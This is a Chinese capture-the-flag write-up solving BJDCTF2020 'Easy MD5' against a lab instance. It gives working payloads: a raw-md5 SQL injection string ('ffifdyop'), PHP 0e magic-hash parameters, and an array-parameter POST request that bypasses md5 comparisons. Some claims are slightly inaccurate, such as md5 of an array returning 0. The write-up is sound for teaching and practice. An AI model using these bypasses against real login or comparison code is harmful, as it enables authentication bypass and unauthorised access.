[BJDCTF2020]Easy MD5

发布时间 2023-10-31 14:02:58作者: imtaieee

打开题目,发现是一个输入框,抓响应包后发现存在如下提示:Hint: select * from 'admin' where password=md5($pass,true)
PHPmd5() 函数的第二个参数为 True 时,会将 string 转换为 16 字符的二进制格式,如使用一些特殊的 $pass,则可以绕过以上 SQL 查询,如:ffifdyopffifdyop 计算 md5 后为:'or'6É]™é!r,ùíb,则可以闭合引号,并且让表达式为真。
当输入 ffifdyop 后,响应包中可以看到跳转到 ./levels91.php 上,而 levels91.php 的页面源代码如下。


<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <style>
        span {
            position: relative;
            display: flex;
            width: 100%;
            height: 700px;
            align-items: center;
            font-size: 70px;
            font-family:'Lucida Sans', 'Lucida Sans Regular', 'Lucida Grande', 'Lucida Sans Unicode', Geneva, Verdana, sans-serif;
            justify-content: center;
        }
    </style>
</head>

<body>
    <span>Do You Like MD5?</span>
</body>

</html>


可以看到,是使用弱比较,这里就引出了 PHP md5 的另外一个特性:0e 特性,即 PHP 在处理哈希字符串时,通过 !=== 来对哈希值进行比较时,PHP 会把每一个以 0e 开头的哈希值都解释为 0,所以如果两个不同的密码经过哈希以后,其哈希值都是以 0e 开头的,那么 PHP 将会认为他们相同,都是 0
Payload/levels91.php?a=s878926199a&b=s155964671a
此时,页面又会跳转到 ./levell14.php,页面源代码如下。

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

这里,用到了 PHP md5() 函数在处理数组时的特性,即 PHPmd5() 函数获取不到数组的值,将返回 0

POST /levell14.php HTTP/1.1
Host: e978be09-ae56-497c-9a69-7622ad19c54d.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

param1[]=1&param2[]=2